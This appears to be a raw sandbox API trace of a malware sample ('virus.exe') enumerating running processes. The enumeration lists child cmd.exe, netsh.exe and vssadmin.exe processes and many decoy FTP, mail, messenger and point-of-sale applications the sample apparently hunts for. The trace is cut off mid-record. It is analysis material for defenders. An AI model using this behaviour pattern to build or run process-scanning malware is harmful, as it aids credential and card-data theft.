Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0061.408] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0061.408] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0061.726] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0061.727] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0061.728] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0061.728] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0061.729] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0061.729] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0061.730] CloseHandle (hObject=0x1c0) returned 1 [0061.730] Sleep (dwMilliseconds=0x1f4) [0062.380] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c0 [0062.441] Process32FirstW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0062.441] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0062.442] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0062.443] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0062.443] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0062.444] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0062.444] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0062.445] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0062.446] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0062.446] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0062.447] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.447] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.448] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.449] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.449] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.450] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0062.450] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.451] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.451] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0062.452] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0062.452] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0062.453] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.454] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0062.454] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0062.455] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="expensesknowpolicies.exe")) returned 1 [0062.455] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="york-singing.exe")) returned 1 [0062.456] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="techno charges.exe")) returned 1 [0062.457] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="impression.exe")) returned 1 [0062.458] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="greensboro-revealed.exe")) returned 1 [0062.458] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="range-hayes-pot.exe")) returned 1 [0062.459] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pilot-liverpool-black.exe")) returned 1 [0062.459] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gammafin.exe")) returned 1 [0062.460] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pope.exe")) returned 1 [0062.461] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operates.exe")) returned 1 [0062.461] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="dynamics.exe")) returned 1 [0062.462] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="congratulations.exe")) returned 1 [0062.463] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="employer.exe")) returned 1 [0062.463] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="paypal_drunk.exe")) returned 1 [0062.464] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="italian french participants.exe")) returned 1 [0062.464] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bruceanalytical.exe")) returned 1 [0062.465] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="firefoxguess.exe")) returned 1 [0062.466] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="legally notified.exe")) returned 1 [0062.466] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="qualities.exe")) returned 1 [0062.467] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0062.719] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0062.720] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0062.720] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0062.721] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0062.721] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0062.722] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0062.722] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0062.723] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0062.723] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0062.724] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0062.725] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0062.725] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0062.726] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0062.726] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0062.727] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0062.728] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0062.728] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0062.729] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0062.730] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0062.731] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0062.732] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0062.733] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0062.733] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0062.734] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0062.735] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0062.736] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0062.736] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0062.737] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0062.738] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0062.739] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, 